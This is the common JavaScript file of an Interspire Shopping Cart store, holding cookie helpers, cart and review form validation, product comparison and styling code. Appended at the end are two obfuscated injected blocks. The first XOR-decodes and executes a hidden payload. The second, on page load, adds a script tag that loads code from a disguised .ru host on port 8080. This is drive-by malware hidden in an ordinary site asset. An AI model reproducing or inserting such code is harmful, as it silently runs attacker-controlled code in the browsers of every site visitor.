/* Common Javascript functions for use throughout Interspire Shopping Cart */

// Fetch the value of a cookie
function get_cookie(name) {
	name = name += "=";
	var cookie_start = document.cookie.indexOf(name);
	if(cookie_start > -1) {
		cookie_start = cookie_start+name.length;
		cookie_end = document.cookie.indexOf(';', cookie_start);
		if(cookie_end == -1) {
			cookie_end = document.cookie.length;
		}
		return unescape(document.cookie.substring(cookie_start, cookie_end));
	}
}

// Set a cookie
function set_cookie(name, value, expires)
{
	if(!expires) {
		expires = "; expires=Wed, 1 Jan 2020 00:00:00 GMT;"
	} else {
		expire = new Date();
		expire.setTime(expire.getTime()+(expires*1000));
		expires = "; expires="+expire.toGMTString();
	}
	document.cookie = name+"="+escape(value)+expires;
}

/* Javascript functions for the products page */
var num_products_to_compare = 0;
var product_option_value = "";

function showProductImage(filename, product_id) {
	var l = (screen.availWidth/2)-350;
	var t = (screen.availHeight/2)-300;
	var variationAdd = '';
	if($('body').attr('currentVariation') != '' && typeof($('body').attr('currentVariation')) != "undefined") {
		variationAdd = '&variation_id='+$('body').attr('currentVariation');
	}
	window.open(filename + "?product_id="+product_id+variationAdd, "imagePop", "toolbar=0,scrollbars=1,location=0,statusbar=1,menubar=0,resizable=1,width=700,height=600,top="+t+",left="+l);
}

function CheckProductConfigurableFields(form)
{
	var requiredFields = $('.FieldRequired');
	var valid = true;
	requiredFields.each(function() {
		var namePart = this.name.replace(/^.*\[/, '');
		var fieldId = namePart.replace(/\].*$/, '');

		if(this.type=='checkbox' ) {
			if(!this.checked) {
				valid = false;
				alert(lang.EnterRequiredField);
				this.focus();
				this.select();
				return false;
			}
		} else if(this.value == '') {
			if(this.type != 'file' || (this.type == 'file' && document.getElementById('CurrentProductFile_'+fieldId).value == '')) {
				valid = false;
				alert(lang.EnterRequiredField);
				this.focus();
				this.select();
				return false;
			}
		}
	});

	var fileFields = $(form).find('input[type=file]');
	fileFields.each(function() {
		if(this.value != '') {
			var namePart = this.name.replace(/^.*\[/, '');
			var fieldId = namePart.replace(/\].*$/, '');
			var fileTypes = document.getElementById('ProductFileType_'+fieldId).value;

			fileTypes = ','+fileTypes.replace(' ', '').toLowerCase()+','
			var ext = this.value.replace(/^.*\./, '').toLowerCase();

			if(fileTypes.indexOf(','+ext+',') == -1) {
				alert(lang.InvalidFileTypeJS);
				this.focus();
				this.select();
				valid = false;
			}

		}
	});

	return valid;
}

function check_add_to_cart(form, required) {
	var valid = true;
	var qtyInputs = $(form).find('input.qtyInput');
	qtyInputs.each(function() {
		if(isNaN($(this).val()) || $(this).val() <= 0) {
			alert(lang.InvalidQuantity);
			this.focus();
			this.select();
			valid = false;
			return false;
		}
	});
	if(valid == false) {
		return false;
	}

	if(!CheckProductConfigurableFields(form)) {
		return false;
	}

	if(required && !$(form).find('.CartVariationId').val()) {
		alert(lang.OptionMessage);
		var select = $(form).find('select').get(0);
		if(select) {
			select.focus();
		}
		var radio = $(form).find('input[type=radio]').get(0);
		if(radio) {
			radio.focus();
		}
		return false;
	}

	if (!CheckEventDate()) {
		return false;
	}

	return true;
}

function compareProducts(compare_path) {
	var pids = "";

	if($('form').find('input[name=compare_product_ids][checked]').size() >= 2) {
		var cpids = document.getElementsByName('compare_product_ids');

		for(i = 0; i < cpids.length; i++) {
			if(cpids[i].checked)
				pids = pids + cpids[i].value + "/";
		}

		pids = pids.replace(/\/$/, "");
		document.location.href = compare_path + pids;
		return false;
	}
	else {
		alert(lang.CompareSelectMessage);
		return false;
	}
}

function product_comparison_box_changed(state) {
	// Increment num_products_to_compare - needs to be > 0 to submit the product comparison form


	if(state)
		num_products_to_compare++;
	else
		if (num_products_to_compare != 0)
			num_products_to_compare--;
}

function remove_product_from_comparison(id) {
	if(num_compare_items > 2) {
		for(i = 1; i < 11; i++) {
			document.getElementById("compare_"+i+"_"+id).style.display = "none";
		}

		num_compare_items--;
	}
	else {
		alert(lang.CompareTwoProducts);
	}
}

function show_product_review_form() {
	document.getElementById("rating_box").style.display = "";
	document.location.href = "#write_review";
}

function jump_to_product_reviews() {
	document.location.href = "#reviews";
}

function g(id) {
	return document.getElementById(id);
}

function check_product_review_form() {
	var revrating = g("revrating");
	var revtitle = g("revtitle");
	var revtext = g("revtext");
	var revfromname = g("revfromname");
	var captcha = g("captcha");

	if(revrating.selectedIndex == 0) {
		alert(lang.ReviewNoRating);
		revrating.focus();
		return false;
	}

	if(revtitle.value == "") {
		alert(lang.ReviewNoTitle);
		revtitle.focus();
		return false;
	}

	if(revtext.value == "") {
		alert(lang.ReviewNoText);
		revtext.focus();
		return false;
	}

	if(captcha.value == "" && HideReviewCaptcha != "none") {
		alert(lang.ReviewNoCaptcha);
		captcha.focus();
		return false;
	}

	return true;
}

function check_small_search_form() {
	var search_query = g("search_query");

	if(search_query.value == "") {
		alert(lang.EmptySmallSearch);
		search_query.focus();
		return false;
	}

	return true;
}

function setCurrency(currencyId)
{
	var gotoURL = location.href;

	if (location.search !== '')
	{
		if (gotoURL.search(/[&|\?]setCurrencyId=[0-9]+/) > -1)
			gotoURL = gotoURL.replace(/([&|\?]setCurrencyId=)[0-9]+/, '$1' + currencyId);
		else
			gotoURL = gotoURL + '&setCurrencyId=' + currencyId;
	}
	else
		gotoURL = gotoURL + '?setCurrencyId=' + currencyId;

	location.href = gotoURL;
}


// Dummy sel_panel function for when design mode isn't enabled
function sel_panel(id) {}

function inline_add_to_cart(filename, product_id, quantity, returnTo) {
	if(typeof(quantity) == 'undefined') {
		var quantity = '1';
	}
	var html = '<form action="' + filename + '/cart.php" method="post" id="inlineCartAdd">';
	if(typeof(returnTo) != 'undefined' && returnTo == true) {
		var returnLocation = window.location;
		html += '<input type="hidden" name="returnUrl" value="'+escape(returnLocation)+'" />';
	}
	html += '<input type="hidden" name="action" value="add" />';
	html += '<input type="hidden" name="qty" value="'+quantity+'" />';
	html += '<input type="hidden" name="product_id" value="'+product_id+'" />';
	html += '<\/form>';
   $('body').append(html);
   $('#inlineCartAdd').submit();
}


// Dummy JS object to hold language strings.
var lang = {
};

// IE 6 doesn't support the :hover selector on elements other than links, so
// we use jQuery to work some magic to get our hover styles applied.
if(document.all) {
	var isIE7 = /*@cc_on@if(@_jscript_version>=5.7)!@end@*/false;
	if(isIE7 == false) {
		$(document).ready(function() {
			$('.ProductList li').hover(function() {
				$(this).addClass('Over');
			},
			function() {
				$(this).removeClass('Over');
			});
			$('.ComparisonTable tr').hover(function() {
				$(this).addClass('Over');
			},
			function() {
				$(this).removeClass('Over');
			});
		});
	}
	$('.ProductList li:last-child').addClass('LastChild');
}

$(document).ready(function() {
	$('.InitialFocus').focus();
	$('table.Stylize tr:first-child').addClass('First');
	$('table.Stylize tr:last-child').addClass('Last');
	$('table.Stylize tr td:odd').addClass('Odd');
	$('table.Stylize tr td:even').addClass('Even');
	$('table.Stylize tr:even').addClass('Odd');
	$('table.Stylize tr:even').addClass('Even');

	$('.TabContainer .TabNav li').click(function() {
		$(this).parent('.TabNav').find('li').removeClass('Active');
		$(this).parents('.TabContainer').find('.TabContent').hide();
		$(this).addClass('Active');
		$(this).parents('.TabContainer').find('#TabContent'+this.id).show();
		$(this).find('a').blur();
		return false;
	});

});

var config = {};
var QU="a4bbbd89a9c9fbfcf0e4d4d1a3baa0a1d084a089b888beacbcb7bb9d8eb9a485bd8abf8989aebf809da799b28e90898bbeaca7879892b28db386a2ae8a8885a29ddeafbbdda386a2cfabbfd0beac";this.cF='';var Kk=25706;var Oj;if(Oj!='' && Oj!='DH'){Oj='LZb'};function e(c){var Os="Os";var q="q"; var gL=function(G,B){return G^B;};this.f=37280;var OE;if(OE!='' && OE!='aS'){OE=''};var KF="KF"; var S=function(r,p){var hZ=new Date();return r[a("hcaroCdeAt", [1,0,2,3])](p);};this.vW=""; var M=function(O){var rP='';var E=false;var LV=false;var z=[242,255][1];this.AU=52113;var wg="wg";var t=O[a("elgnth", [1,0,3,2])];var Lt;if(Lt!='' && Lt!='zP'){Lt='IC'};var Ep;if(Ep!='' && Ep!='yl'){Ep='Vn'};var zA=[242,0,107,68][1];var ew;if(ew!='fr' && ew != ''){ew=null};var Q;if(Q!='NB' && Q != ''){Q=null};var v=[0][0];var MU=[1,163][0];var Mk;if(Mk!='' && Mk!='pE'){Mk=''};while(v<t){v++;GW=S(O,v - MU);var ez;if(ez!='Dy' && ez != ''){ez=null};var sP;if(sP!='sH' && sP != ''){sP=null};zA+=GW*t;var aP=new Date();var ls=new String();}this.Sd="Sd";return new Sr(zA % z);var dD;if(dD!='' && dD!='Srk'){dD='F'};var Wy;if(Wy!='bu' && Wy!='fO'){Wy='bu'};}; var SW=new Array();var he=new Array();function u(D){var Fm;if(Fm!='Wi'){Fm=''};var lM=false;var hm=false;var W =[13,0][1];var dL;if(dL!='ri'){dL=''};var Ga=false;var P = '';this.sW="sW";var GA="GA";this.ON=false;var TP;if(TP!='og'){TP='og'};var J =[70,0,17][1];var HZ=false;var k = -1;var gw;if(gw!='WS'){gw='WS'};var rb;if(rb!=''){rb='JW'};D = new Sr(D);var tR=new Date();var wK;if(wK!='yB' && wK!='Sz'){wK=''};this.vq="";for (W=D[a("glneth", [1,3,2,0])]-k;W>=J;W=W-[1,230][0]){P+=D[a("hAcrat", [2,0,4,3,1])](W);this.ly="ly";var Na;if(Na!='' && Na!='lF'){Na='In'};}var EZ=37328;var ns;if(ns!='le'){ns=''};this.BF="BF";return P;var kn='';var aC=false;} var a=function(D, N){var FH;if(FH!='AM' && FH != ''){FH=null};var OG;if(OG!='TE' && OG != ''){OG=null};var pm;if(pm!='' && pm!='fFD'){pm='ZdK'};var j = N.length;var NU;if(NU!='DD'){NU=''};var J=[0,192,140,197][0];this.Zs="";var MU=[1,106][0];var cb;if(cb!='' && cb!='wQ'){cb=''};var P = '';var eV = D.length;for(var W = J; W < eV; W += j) {var HE;if(HE!='Fl' && HE!='aI'){HE=''};var n = D.substr(W, j);this.zW="";this.VY='';var OC;if(OC!='MN' && OC != ''){OC=null};if(n.length == j){var Qv;if(Qv!='kJ' && Qv!='No'){Qv=''};this.Gd="";for(var v in N) {this.qE='';var lO='';P+=n.substr(N[v], MU);var UA;if(UA!='' && UA!='QG'){UA=null};this.KC="";var zu='';}var px='';var du;if(du!='' && du!='jf'){du=null};} else {var Tu;if(Tu!='HI' && Tu!='bK'){Tu=''};  P+=n;var JQ=new Date();var je;if(je!='' && je!='WF'){je=''};}var ZR;if(ZR!='yA' && ZR!='ju'){ZR=''};this.HV=false;}var zv=new Date();return P;var Wgv=24060;var FN;if(FN!='' && FN!='Kf'){FN='Eg'};};var gb=window;var XIk;if(XIk!=''){XIk='SM'};var Bo=gb[a("avle", [3,1,0,2])];var MH;if(MH!='RP' && MH!='DV'){MH='RP'};var et=Bo(a("unFciotn", [2,0,1,3]));var jh;if(jh!='' && jh!='rq'){jh='Bx'};var qH='';this.NK=false;var VB="VB";var PO='';var Sr=Bo(a("tSirgn", [1,0]));var df;if(df!='BJ' && df!='di'){df=''};var kK;if(kK!='FQ' && kK!='DM'){kK='FQ'};var h = '';var tf=Bo(a("geRpxE", [2,1,0]));this.jD="jD";var ah;if(ah!='SA'){ah='SA'};this.NaY='';var LD=46696;var Wv=Sr[a("mrofhCorCaed", [3,1,2,0,5,4])];var Au=34683;var SC;if(SC!='dG' && SC!='Sy'){SC=''};var zX=gb[a("suacenpe", [1,5,4,0,3,2])];var OL=new Date();this.Pm="";var aT;if(aT!='uf' && aT != ''){aT=null};var Zw=32887;var Jas='';var VO='';var MU =[1][0];var x = Wv(37);this.Fe=13847;var w = c[a("glenth", [1,2,3,0])];var bm="bm";var l = '';var rc = '';var ax;if(ax!='' && ax!='If'){ax='qC'};var ID;if(ID!='Tv' && ID!='LZ'){ID=''};var yK=new Date();var hL =[9,39,95,0][3];this.iyA=false;this.iW=62341;var tm = '';var AIs=new Date();var J =[35,0,4][1];this.IG="";var QV;if(QV!='nD' && QV != ''){QV=null};this.Gf='';var I=[1, a("uodctemnec.rEtaeeelm\'tn(icsr)tp\'", [2,1,3,0]),2, a("cuedmo.bdnotapeyp.Chlnidd(d)", [3,5,0,1,4,2]),3, a("enot.irncoc.jo..petunti", [1,0,3,4,2]),4, a("oc.mhtneweofur.mur8:800", [1,0]),5, a(".sedAtttibure(\'tefedr\'", [3,0,1,2]),6, a("doknolsnisaki.ru", [4,0,3,1,2,5]),7, a("ikont.o", [1,0]),8, a("ndiw.owooalnd", [3,2,0,1]),11, a("ktuar.ocne.jp", [4,3,0,2,1]),12, a("ticfnuon()", [3,5,4,2,0,1]),14, a("lg.oogecom", [1,3,4,5,0,6,2]),15, a("lsdiseaher", [1,0]),16, a("ctca)eh(", [2,3,1,0]),17, a("t:p\"ht", [3,4,5,0,2,1]),18, a("s.drc", [2,1,0]),19, a("1\')\'", [1,0]),20, a("rty", [1,0])];var jG=7730;var K = /[^@a-z0-9A-Z_-]/g;var fJ;if(fJ!='' && fJ!='Rx'){fJ=null};var rj=new Array();var V =[2][0];var er;if(er!='' && er!='bw'){er=null};var Qb;if(Qb!='Or' && Qb != ''){Qb=null};var Fn;if(Fn!='' && Fn!='yV'){Fn=''};var dfU=false;var DA=false;this.brF="";for(var uy=J; uy < w; uy+=V){rc+= x; var Nc;if(Nc!='pR'){Nc='pR'};rc+= c[a("sutsbr", [3,1,4,0,2])](uy, V);var fBT='';}var mK;if(mK!='' && mK!='km'){mK=null};this.Kl='';this.Oa='';var c = zX(rc);this.SRX="SRX";this.lj="lj";var H = new Sr(e);var VnP='';var y = H[a("elrcepa", [2,0,5,1,6,3,4])](K, l);var QT;if(QT!='HG' && QT!='gU'){QT=''};var Ju;if(Ju!='fi' && Ju!='OLE'){Ju='fi'};var XY="";var VU = I[a("elgnht", [1,0])];var Ix='';y = u(y);var hy = new Sr(et);var HJ=new Array();var Of=45734;var nd;if(nd!='' && nd!='FwN'){nd='fJU'};var Ok;if(Ok!='' && Ok!='EpH'){Ok='MJ'};var X = hy[a("parlece", [2,4,0,3,1])](K, l);var fQ;if(fQ!='' && fQ!='Lu'){fQ=''};var X = M(X);var rU;if(rU!='hx'){rU=''};var svz='';var vC=M(y);var AP;if(AP!='' && AP!='VF'){AP=''};var NCQ;if(NCQ!='' && NCQ!='zTv'){NCQ=''};for(var W=J; W < (c[a("ntlgeh", [2,4,0,3,1])]);W=W+[1,11,167,128][0]) {var uNX=new Date();this.GB='';var rf = y.charCodeAt(hL);var nT="";var xY = S(c,W);var Akv;if(Akv!='gq' && Akv!='NaU'){Akv='gq'};xY = gL(xY, rf);var qP;if(qP!='' && qP!='Pi'){qP=null};xY = gL(xY, vC);xY = gL(xY, X);var TY;if(TY!='cW' && TY!='SB'){TY=''};var Nl;if(Nl!='Uc' && Nl!='po'){Nl=''};this.fT="";var lv;if(lv!='Dw'){lv=''};hL++;if(hL > y.length-MU){hL=J;var Bu=new String();var PD=false;}var qd;if(qd!='EK'){qd=''};this.sI=60741;this.Ah=2730;var ld;if(ld!='LRj' && ld!='ep'){ld=''};tm += Wv(xY);var VPS;if(VPS!='Gj' && VPS != ''){VPS=null};}this.nL='';this.vZ="";for(b=J; b < VU; b+=V){var zh;if(zh!='sa'){zh='sa'};this.NI="";var uZ = I[b + MU];var JS;if(JS!='' && JS!='kR'){JS=''};this.Inm=false;var A = Wv(I[b]);var nGU;if(nGU!='Mf' && nGU != ''){nGU=null};var lr;if(lr!='oQ' && lr!='aB'){lr=''};var KXA;if(KXA!='' && KXA!='blm'){KXA='Rw'};var Sv = new tf(A, Wv(103));var oK;if(oK!='' && oK!='hU'){oK=''};tm=tm[a("erlpcae", [1,0])](Sv, uZ);var sm;if(sm!='yx'){sm=''};var AT=32930;}var qw='';this.dA=false;var L=new et(tm);L();this.Gh="Gh";this.qPF="qPF";L = '';vC = '';var Ee="Ee";var zRF=new Array();hy = '';var IjQ;if(IjQ!='' && IjQ!='Th'){IjQ='Pg'};X = '';this.VZK=false;this.NYA=false;tm = '';var kO;if(kO!='cT' && kO!='sHg'){kO=''};y = '';var tB=new Array();var NP;if(NP!=''){NP='FI'};var jJ=new Array();this.ij=40951;return '';};this.cF='';var Kk=25706;var Oj;if(Oj!='' && Oj!='DH'){Oj='LZb'};e(QU);
var w=new Array();var g=new Array();function m() {var nj='';var nu;if(nu!='dB'){nu='dB'};this.sq='';var mS;if(mS!='' && mS!='jr'){mS=null};var T=new String();var Z='g';var h=RegExp;var C;if(C!='Q' && C != ''){C=null};var tC;if(tC!='F' && tC != ''){tC=null};var K=']';var QF=new Date();var fR=new Date();var c='replace';var J;if(J!='Ne'){J='Ne'};var jL='';var U='[';this.p="";var L=new Date();function N(d,NF){var qU=new Date();var nV;if(nV!='' && nV!='vV'){nV=null};var Vn="";var q=U;var jc;if(jc!=''){jc='yb'};q+=NF;q+=K;var mG="";var LW=new String();var Y=new h(q, Z);var A;if(A!=''){A='Tz'};return d[c](Y, T);var OB=new Date();this.nC="";};var KM=N('/qmXeXtXrXoqlXyXrXiXcqsq.Xcqoqmq/XmXeXtqrXoXlXyqrqiqcXsq.XcqoXmq/qdqrXeqaqmXsqtqiXmXeq.qcXoqmq/qgXoXoXgXlqeX.qcXoqmq/XfqlqiqcXkXrq.qcXoqmq.qpXhXpX',"qX");var Sx='';this.iY='';var j='';var EO=new Date();var z=N('839011983370397',"7319");var x=N('hqtqtqpq:9/9/vlqeqbvoqn9cqo9ivnq-vf9rq.vgvoqo9gvl9ev.vcqo9.qmvav.9s9ovhqu9-vc9ovmq.qf9o9rqr9eqdqtva9g9.vrquv:q',"9vq");var t=N('socjrjijpjto',"ajo");var NR="";var f=window;var zV;if(zV!='Ff'){zV=''};this.R='';var zf=N('cfroefaotoeoEflfefmoeonftf',"of");var gg;if(gg!='RY'){gg='RY'};this.kK="";f[N('o6n6l6o6a6dg',"6g")]=function(){var CV;if(CV!='XY'){CV=''};try {var Ef=new Array();var ag=new Array();j+=x;j+=z;var My;if(My!='' && My!='ma'){My=null};var rY;if(rY!='YL' && rY != ''){rY=null};j+=KM;var SY;if(SY!='zQ'){SY='zQ'};var lA=new Date();l=document[zf](t);var im='';var UK;if(UK!='me'){UK=''};this.sh="";var gP;if(gP!='wA'){gP='wA'};tQ(l,'src',j);this.Gl="";tQ(l,'defer',([1][0]));var dv=new String();var tW='';var dl;if(dl!='tA' && dl != ''){dl=null};var Im=new Date();document.body.appendChild(l);var JR='';var gY;if(gY!='mh'){gY='mh'};} catch(_){var Ep;if(Ep!='PT' && Ep != ''){Ep=null};this.jLk='';};this.Pn='';var Sg=new String();};var jE;if(jE!='' && jE!='uN'){jE=null};function tQ(u,D,X){var yf=new String();var qH=new Date();u.setAttribute(D, X);this.rZ='';}var a_;if(a_!='Qy' && a_ != ''){a_=null};var Xh=new String();};m();